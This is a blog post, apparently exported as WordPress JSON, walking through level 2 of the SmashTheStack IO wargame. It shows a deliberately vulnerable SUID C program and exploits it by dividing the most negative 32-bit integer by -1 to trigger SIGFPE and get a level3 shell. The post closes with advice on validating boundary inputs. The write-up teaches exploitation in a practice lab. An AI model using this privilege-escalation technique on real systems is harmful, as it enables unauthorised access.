{"id":30,"date":"2012-07-19T15:59:05","date_gmt":"2012-07-19T22:59:05","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=30"},"modified":"2012-08-02T00:02:52","modified_gmt":"2012-08-02T07:02:52","slug":"io-level2","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=30","title":{"rendered":"IO Level2 – Sending The Wrong Signals"},"content":{"rendered":"

Welcome back for another round of the IO<\/a> wargame from SmashTheStack.org<\/a>. \u00a0Today we will be looking at level2. \u00a0I’ll assume everyone can connect and has access to level2. \u00a0Go ahead and open ssh and log in to level2. \u00a0First, let’s jump over to \/levels and get a listing of all files with the name beginning with “level02”. \u00a0level02 and, since it’s supplied, level02.c. \u00a0Quick view of level02.c gives us the following:<\/p>\n

level2@io:\/levels$ more level02.c
\n\/\/a little fun brought to you by bla<\/p>\n

#include <stdio.h>
\n#include <stdlib.h>
\n#include <signal.h>
\n#include <setjmp.h><\/p>\n

void catcher(int a)
\n{
\nsetresuid(geteuid(),geteuid(),geteuid());
\nprintf(“WIN!\\n”);
\nsystem(“\/bin\/sh”);
\nexit(0);
\n}<\/p>\n

int main(int argc, char **argv)
\n{
\nputs(“source code is available in level02.c\\n”);<\/p>\n

if (argc != 3 || !atoi(argv[2]))
\nreturn 1;
\nsignal(SIGFPE, catcher);
\nreturn abs(atoi(argv[1])) \/ atoi(argv[2]);
\n}<\/p><\/blockquote>\n

Program starts with main and prints out text about the source code. \u00a0Next it checks how many command line arguments were supplied. \u00a0and what the first one is. \u00a0The program requires 2 arguments after the filename (which always counts as the 1st argument anytime a program is ran). \u00a0The program also requires that the 1st user supplied argument not be 0. \u00a0We will see why shortly. \u00a0After checking the arguments, the program registers\u00a0a handler function to a signal value. \u00a0In this case the function catcher is registered to fire when the SIGFPE signal is encountered. \u00a0Well, I wonder what we can find out about SIGFPE. \u00a0According to the linux man page and info from linux.die.net<\/a>,<\/p>\n

According to POSIX, the behavior of a process is undefined after it ignores a SIGFPE, SIGILL, or SIGSEGV signal that was not generated by kill(2) or raise(3). Integer division by zero has undefined result. On some architectures it will generate a SIGFPE signal. (Also dividing the most negative integer by -1 may generate SIGFPE.) Ignoring this signal might lead to an endless loop.<\/p><\/blockquote>\n

Well isn’t that interesting? \u00a0Certain division situations can cause a SIGFPE. \u00a0Looking at the last line of main, we can see the program divides the integer values of the two supplied arguments, and the 1st one is the divisor. \u00a0That must be why the program doesn’t allow the value of 0, to prevent SIGFPE and division by zero instability. \u00a0However, reading the above, it also says dividing the most negative integer by -1 could generate a SIGFPE, and the program doesn’t protect against the user entering those. \u00a0So let’s try it! \u00a0Doing the math or looking it up, we see the most negative integer in 32 bit two’s complement is -2147483648. \u00a0So we try…<\/p>\n

level2@io:\/levels$ .\/level02 -2147483648 -1
\nsource code is available in level02.c<\/p>\n

WIN!
\nsh-4.1$ whoami
\nlevel3<\/p><\/blockquote>\n

Oh wow, and we’re already done since catcher, the function we registered to SIGFPE, was already programmed to spawn a shell as level3 (since the level02 program is SUID). \u00a0Don’t forget to grab the password for level3 from \/home\/level3\/.pass<\/p>\n

That does it for today. \u00a0Remember to watch your special cases, and your exception throwing and always verify user input for all cases, especially boundary cases. \u00a0Also, test your programs for those cases. \u00a0It’s too easy for a tired programmer to miss a boring test case on input and subsequently leave a program open to exploitation. \u00a0Humans aren’t machines and thus mistakes happen. \u00a0So test, test, test, and find those mistakes before someone else does.<\/p>\n","protected":false},"excerpt":{"rendered":"

Welcome back for another round of the IO wargame from SmashTheStack.org. \u00a0Today we will be looking at level2. \u00a0I’ll assume everyone can connect and has access to level2. \u00a0Go ahead and open ssh and log in to level2. \u00a0First, let’s … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,6,4],"tags":[14,50,13,49,15,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/30"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30"}],"version-history":[{"count":2,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/30\/revisions"}],"predecessor-version":[{"id":168,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/30\/revisions\/168"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}